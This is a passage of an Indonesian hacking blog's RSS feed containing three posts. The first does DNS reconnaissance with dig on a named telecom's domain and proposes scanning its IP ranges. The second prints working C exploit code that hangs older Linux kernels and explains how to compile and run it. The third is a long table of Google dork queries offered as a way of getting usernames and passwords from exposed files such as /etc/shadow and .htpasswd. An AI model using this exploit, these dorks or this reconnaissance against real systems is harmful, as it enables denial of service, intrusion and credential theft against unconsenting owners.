•   A adalah alamat IP dari mesin yang dimaksud.</p>
	<p>Dengan minimalnya informasi, paling tidak yang kita ketahui bahwa:</p>
	<p>•   ada dua (2) mesin utama yang berfungsi sebagai MX untuk domain telkom.co.id yaitu in-mta1.telkom.co.id &#038; in-mta2.telkom.co.id.<br />
•   Tampaknya mesin-mesin utama telkom.co.id berada di alamat IP keluarga 20.134.0.x.<br />
•   Tampaknya keluarga 202.134.1.x &#038; 202.134.2.x juga perlu di evaluasi karena ada beberapa mesin penting di sana.<br />
•   Tidak ada informasi HINFO, jadi kita tidak bisa melihat secara langsung mesin / sistem operasi apa yang digunakan oleh Telkom.</p>
	<p>Mungkin akan menarik jika kita scan / petakan semua mesin yang berada di alamat IP 202.134.0.x s/d 202.134.2.x karena akan memperlihatkan semua mesin penting yang akan mendukung kerja telkom.co.id termasuk anak-anak perusahaannya; kemungkinan besar termasuk telkom.net.id, plasa.com dll.</p>
	<p>Jika kita ingin melihat alamat IP yang spesifik dapat juga dilakukan menggunakan program host / dig, sebagai contoh disini diperlihatkan pada saat melakukan query tentang www.telkom.co.id melalui perintah dig.</p>
	<p>Code:</p>
	<p>[root@yusuf-mesinku]# dig www.telkom.co.id</p>
	<p>; < <>> DiG 9.1.1 < <>> www.telkom.co.id<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36787<br />
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3</p>
	<p>;; QUESTION SECTION:<br />
;www.telkom.co.id.              IN      A</p>
	<p>;; ANSWER SECTION:<br />
www.telkom.co.id.       39899   IN      A       202.134.2.15</p>
	<p>;; AUTHORITY SECTION:<br />
telkom.co.id.           79239   IN      NS      ns2.telkom.co.id.<br />
telkom.co.id.           79239   IN      NS      ns3.telkom.co.id.<br />
telkom.co.id.           79239   IN      NS      ns1.telkom.co.id.</p>
	<p>;; ADDITIONAL SECTION:<br />
ns1.telkom.co.id.       79239   IN      A       202.134.0.155<br />
ns2.telkom.co.id.       79239   IN      A       202.134.2.5<br />
ns3.telkom.co.id.       79239   IN      A       202.134.1.10</p>
	<p>;; Query time: 303 msec<br />
;; SERVER: 202.159.33.2#53(202.159.33.2)<br />
;; WHEN: Fri Aug 10 08:07:42 2001<br />
;; MSG SIZE  rcvd: 152</p>
	<p>Dari informasi ini diperoleh informasi bahwa www.telkom.co.id berada dalam daerah alamat IP 202.134.2.x, jadi betul prediksi di atas bahwa mesin-mesin di daerah 202.134.0.x s/d 202.134.2.x akan membawa beberapa mesin penting untuk operasional telkom.co.id &#038; berbagai anak perusahaan di bawahnya.</p>
	<p>referensi from artikenya onno w purbo</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/p12/feed/</wfw:commentRss>
	</item>
		<item>
		<title>Meng-compile Eksploit Dalam Bahasa C</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/meng-compile-eksploit-dalam-bahasa-c/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/meng-compile-eksploit-dalam-bahasa-c/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:51:06 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/meng-compile-eksploit-dalam-bahasa-c/</guid>
		<description><![CDATA[	Meng-compile Eksploit Dalam Bahasa C
	Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.
	Di samping itu, cara belajar hacking yang terbaik adalah [...]]]></description>
			<content:encoded><![CDATA[	<p>Meng-compile Eksploit Dalam Bahasa C</p>
	<p>Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.</p>
	<p>Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka &#038; dapat kita lihat menggunakan teks editor biasa pada directory:</p>
	<p>   /usr/src/linux</p>
	<p>Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.</p>
	<p>Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.</p>
	<p>/*            [http://b0f.morphed.net] - eth0                */<br />
/*                                                       */<br />
/* Vulnerable<br />
  Linux 2.2.12<br />
  Linux 2.2.13<br />
  Linux 2.2.14<br />
  Linux 2.3.99-pre2</p>
	<p>  The following exploit code will hang any Linux machine on various<br />
  Pentium platforms.</p>
	<p>  Note that this does not require any special privileges, and any user<br />
  Can compile and run it, so watch out kiddies&#8230;</p>
	<p>  The send system call immediately puts the kernel in a loop spewing<br />
  kmalloc: Size (131076) too large forever<br />
  (or until you hit the reset button).</p>
	<p>  Apparently UNIX domain sockets are ignoring the<br />
  /proc/sys/net/core/wmem_max parameter,<br />
  despite the documentation to the contrary.</p>
	<p> [code provided by eth0 from b0f security]<br />
 [information provided by Jay Fenlason]<br />
 [http://b0f.morphed.net]<br />
 [buffer0verfl0w security]<br />
*/</p>
	<p>#include <sys /types.h><br />
#include </sys><sys /socket.h><br />
#include <string .h></p>
	<p>char buf[128 * 1024];</p>
	<p>int main ( int argc, char **argv )<br />
{<br />
struct sockaddr SyslogAddr;<br />
int LogFile;<br />
int bufsize = sizeof(buf)-5;<br />
int i;</p>
	<p>for ( i = 0; i < bufsize; i++ )<br />
buf = ' '+(i%95);<br />
buf = '\0';</p>
	<p>SyslogAddr.sa_family = AF_UNIX;<br />
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data)<br />
);<br />
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );<br />
sendto ( LogFile, buf, bufsize, 0, &#038;SyslogAddr, sizeof(SyslogAddr)<br />
);<br />
return 0;<br />
}</p>
	<p>Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.</p>
	<p>Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.</p>
	<p>Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:</p>
	<p>   $ gcc eksploit.c –o eksploit</p>
	<p>maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:</p>
	<p>   $ ./eksploit</p>
	<p>Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code &#038; compile dari masing-masing source code.</p>
	<p>referensi dari salah satu artikelnya onno w purbo</string></sys>
</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/10/15/meng-compile-eksploit-dalam-bahasa-c/feed/</wfw:commentRss>
	</item>
		<item>
		<title>google dork</title>
		<link>http://sherayusuf.blogsome.com/2007/10/15/google-dork/</link>
		<comments>http://sherayusuf.blogsome.com/2007/10/15/google-dork/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 05:50:19 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>Komputer Stuff</category>
		<guid>http://sherayusuf.blogsome.com/2007/10/15/google-dork/</guid>
		<description><![CDATA[	___ ___ __ __ ____ ____
/ \ __ ____/ \ ___/ / / |__ _/ | | |
/ /\_| / / | - |/ \ | | | |/ | /__ _ / __/
/ /__ |__/ /| | / _ | |/ / / | / \ / | /_
\__ \ _ \ __/ /\/ [...]]]></description>
			<content:encoded><![CDATA[	<p>___ ___ __ __ ____ ____<br />
/ \ __ ____/ \ ___/ / / |__ _/ | | |<br />
/ /\_| / / | - |/ \ | | | |/ | /__ _ / __/<br />
/ /__ |__/ /| | / _ | |/ / / | / \ / | /_<br />
\__ \ _ \ __/ /\/ | | || | |_ | / / _/<br />
__| / / | | \ \ | / | / | / / | /| |<br />
\____/|_| /_/\___/_||_/ /__/ /</p>
	<p>google sebagai web pencarian no 1 saat ini memang belum ada duanya. teknik pencarian dengan penggunaan macam tipe dan operator membuat user dapat membuat berbagai macam variasi pencarian. kita tidak akan membahas berbagai macam operator tersebut, karena judul artikel ini mendapatkan password dan username.</p>
	<p>semua tabel dalam artikel ini diambil dari buku<br />
&#8220;google hacking for penetration testers&#8221;, mungkin ada temen2 yang belum sempet baca jadi saya tulis aja biar semua bisa menikmati. biar temen2 yang masih newbie tidak terheran heran jika seseorang bisa mendapatkan banyak passworddari website. jadi gak usah heran&#8230;.</p>
	<p>TABEL KATA KATA KUNCI MENDAPATKAN USERNAMES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
KATA KUNCI | KETERANGAN<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:admin inurl: |userlist Generic userlist files<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:admin filetype: |asp Generic userlist files<br />
inurl:userlist |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:php inurl: |Half-life statistics file, lists username and<br />
hlstats intext: |other information<br />
Server Username |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:ctl |<br />
inurl:haccess. |Microsoft FrontPage equivalent of htaccess<br />
ctl Basic |shows Web user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:reg |<br />
reg intext: |Microsoft Internet Account Manager can<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
”internet account manager” |reveal usernames and more<br />
filetype:wab wab |Microsoft Outlook Express Mail address<br />
|books<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:mdb inurl:profiles |Microsoft Access databases containing<br />
|profiles.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
index.of perform.ini |mIRC IRC ini file can list IRC usernames and<br />
|other information<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:root.asp?acs=anon |Outlook Mail Web Access directory can be<br />
|used to discover usernames<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:conf inurl:proftpd. |PROFTP FTP server configuration file<br />
conf –sample |reveals<br />
|username and server information<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:log username putty |PUTTY SSH client logs can reveal<br />
|usernames<br />
|and server information<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:rdp rdp |Remote Desktop Connection files reveal user<br />
|credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:index.of |UNIX bash shell history reveals commands<br />
.bash_history |typed at a bash command prompt; usernames<br />
|are often typed as argument strings<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:index.of |UNIX shell history reveals commands typed at<br />
.sh_history |a shell command prompt; usernames are<br />
|often typed as argument strings<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“index of ” lck |Various lock files list the user currently using<br />
|a file<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+intext:webalizer +intext: |Webalizer Web statistics page lists Web user-<br />
Total Usernames +intext: |names and statistical information<br />
”Usage Statistics for”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:reg reg HKEY_ |Windows Registry exports can reveal<br />
CURRENT_USER |username usernames and other information<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
	<p>TABEL KATA-KATA KUNCI MENDAPATKAN PASSWORD</p>
	<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
KATA KUNCI | KETERANGAN<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:/db/main.mdb |ASP-Nuke passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:cfm “cfapplication |ColdFusion source with potential passwords<br />
name” password<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:pass |dbman credentials<br />
pass intext:userid<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
allinurl:auth_user_file.txt |DCForum user passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
eggdrop filetype:user user |Eggdrop IRC user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:ini inurl:flashFXP.ini |FlashFXP FTP credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:url +inurl:”ftp://” |FTP bookmarks cleartext passwords<br />
+inurl:”@”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:zebra.conf intext: |GNU Zebra passwords<br />
password -sample -test<br />
-tutorial –download<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:htpasswd htpasswd |HTTP htpasswd Web user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”Index of” “.htpasswd” |HTTP htpasswd Web user credentials<br />
“htgroup” -intitle:”dist”<br />
-apache -htpasswd.c<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”Index of” “.htpasswd” |HTTP htpasswd Web user credentials<br />
htpasswd.bak<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“http://*:*@www” bob:bob |HTTP passwords (bob is a sample username)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“sets mode: +k” |IRC channel keys (passwords)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“Your password is * |Remember IRC NickServ registration passwords<br />
this for later use”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
signin filetype:url |JavaScript authentication credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
LeapFTP intitle:”index.of./” |LeapFTP client login credentials<br />
sites.ini modified<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:lilo.conf filetype:conf |LILO passwords<br />
password -tatercounter2000<br />
-bootpwd –man<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:config config intext: |Microsoft .NET application credentials<br />
appSettings “User ID”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:pwd service |Microsoft FrontPage Service Web passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:index.of |Microsoft FrontPage Web credentials<br />
administrators.pwd<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
“# -FrontPage-” |Microsoft FrontPage Web passwords<br />
inurl:service.pwd<br />
ext:pwd inurl:_vti_pvt inurl: |Microsoft FrontPage Web passwords<br />
(Service | authors | administrators)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:perform filetype:ini |mIRC nickserv credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”index of” intext: |mySQL database credentials<br />
connect.inc<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”index of” intext: |mySQL database credentials<br />
globals.inc<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:conf oekakibbs |Oekakibss user passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:dat wand.dat |Opera‚ ÄúMagic Wand‚Äù Web credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:ospfd.conf intext: |OSPF Daemon Passwords<br />
password -sample -test<br />
-tutorial –download<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
index.of passlist |Passlist user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:passlist.txt |passlist.txt file user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:dat “password.dat” |password.dat files<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:password.log filetype:log |password.log file reveals usernames,<br />
|passwords,and hostnames<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:log inurl:”password.log” |password.log files cleartext<br />
|passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:people.lst filetype:lst |People.lst generic password file<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:index.of config.php |PHP Configuration File database<br />
|credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:config.php dbuname dbpass |PHP Configuration File database<br />
|credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:nuke filetype:sql |PHP-Nuke credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:conf inurl:psybnc.conf |psyBNC IRC user credentials<br />
“USER.PASS=”<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:ini ServUDaemon |servU FTP Daemon credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:conf slapd.conf |slapd configuration files root password<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:”slapd.conf” intext: |slapd LDAP credentials<br />
”credentials” -manpage<br />
-”Manual Page” -man: -sample<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
inurl:”slapd.conf” intext: |slapd LDAP root password<br />
”rootpw” -manpage<br />
-”Manual Page” -man: -sample<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:sql “IDENTIFIED BY” –cvs |SQL passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:sql password |SQL passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:ini wcx_ftp |Total Commander FTP passwords<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:netrc password |UNIX .netrc user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
index.of.etc |UNIX /etc directories contain<br />
|various credential files<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”Index of..etc” passwd |UNIX /etc/passwd user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:index.of passwd |UNIX /etc/passwd user credentials<br />
passwd.bak<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”Index of” pwd.db |UNIX /etc/pwd.db credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:Index.of etc shadow |UNIX /etc/shadow user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:index.of master.passwd |UNIX master.passwd user credentials<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
intitle:”Index of” spwd.db |UNIX spwd.db credentials<br />
passwd -pam.conf<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
filetype:bak inurl:”htaccess| |UNIX various password file backups<br />
passwd|shadow|htusers<br />
